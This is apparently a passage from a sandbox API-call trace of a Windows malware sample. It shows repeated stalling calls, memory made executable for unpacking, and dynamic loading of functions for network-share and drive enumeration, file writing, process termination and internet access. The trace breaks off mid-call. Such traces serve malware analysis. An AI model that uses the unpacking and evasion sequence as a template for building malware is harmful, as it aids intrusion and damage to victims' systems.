dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.297] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.297] GetTickCount () returned 0x19f5a [0043.297] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.297] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.297] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.297] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.297] GetTickCount () returned 0x19f5a [0043.297] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.297] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.297] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.297] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.297] GetTickCount () returned 0x19f5a [0043.297] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.297] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.297] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.297] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.297] GetTickCount () returned 0x19f5a [0043.297] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.297] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.297] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.297] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.297] GetTickCount () returned 0x19f5a [0043.297] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.297] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.297] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.298] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.298] GetTickCount () returned 0x19f5a [0043.298] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.298] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.298] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.298] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.298] GetTickCount () returned 0x19f5a [0043.298] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.298] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.298] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.298] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.298] GetTickCount () returned 0x19f5a [0043.298] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.298] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.298] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.298] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.298] GetTickCount () returned 0x19f5a [0043.298] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.298] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.298] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.298] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.298] GetTickCount () returned 0x19f5a [0043.298] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.298] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.299] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.299] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.299] GetTickCount () returned 0x19f5a [0043.299] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.299] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.299] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.299] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.299] GetTickCount () returned 0x19f5a [0043.299] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.299] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.299] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.299] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.299] GetTickCount () returned 0x19f5a [0043.299] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.299] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.299] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.299] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.299] GetTickCount () returned 0x19f5a [0043.299] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.299] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.299] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.299] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.299] GetTickCount () returned 0x19f5a [0043.299] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.299] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.300] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.300] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.300] GetTickCount () returned 0x19f5a [0043.300] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.300] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.300] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.300] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.300] GetTickCount () returned 0x19f5a [0043.300] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.300] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.300] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.300] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.300] GetTickCount () returned 0x19f5a [0043.300] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.300] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.300] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.300] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.300] GetTickCount () returned 0x19f5a [0043.300] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.300] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.300] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.300] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.300] GetTickCount () returned 0x19f5a [0043.300] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.301] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.301] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.301] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.301] GetTickCount () returned 0x19f5a [0043.301] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.301] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.301] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.301] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.301] GetTickCount () returned 0x19f5a [0043.301] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.301] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.301] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.301] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.301] GetTickCount () returned 0x19f5a [0043.301] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.301] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.301] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.301] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.301] GetTickCount () returned 0x19f5a [0043.301] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.301] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.301] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.301] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.301] GetTickCount () returned 0x19f5a [0043.301] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.302] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.302] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.302] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.302] GetTickCount () returned 0x19f5a [0043.302] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.302] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.302] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.302] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0045.321] VirtualProtect (in: lpAddress=0x60a900, dwSize=0x34ec9, flNewProtect=0x40, lpflOldProtect=0x18f3f0 | out: lpflOldProtect=0x18f3f0*=0x4) returned 1 [0045.337] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0045.337] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0045.337] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0045.337] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0045.337] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0045.337] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0045.337] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0045.338] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0045.340] Module32First (hSnapshot=0x58, lpme=0x18f174) returned 1 [0045.381] CloseHandle (hObject=0x58) returned 1 [0045.382] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0045.382] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0045.382] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0045.382] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0045.382] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0045.383] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0045.383] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0045.383] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0045.383] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0045.383] SetErrorMode (uMode=0x400) returned 0x0 [0045.383] SetErrorMode (uMode=0x0) returned 0x400 [0045.383] GetVersionExA (in: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0045.383] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0045.389] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18f380 | out: lpflOldProtect=0x18f380*=0x2) returned 1 [0045.422] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.424] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0045.424] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0045.424] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0045.424] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0045.424] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0045.424] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0045.424] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0045.427] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0045.427] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0045.427] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0045.427] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0045.441] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0045.441] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0045.457] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0045.457] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0045.457] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0045.457] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0045.458] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0045.458] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0045.458] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0045.458] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0045.458] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0045.458] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0045.458] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0045.459] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0045.460] GetProcAddress (hModule=0x76c20000, 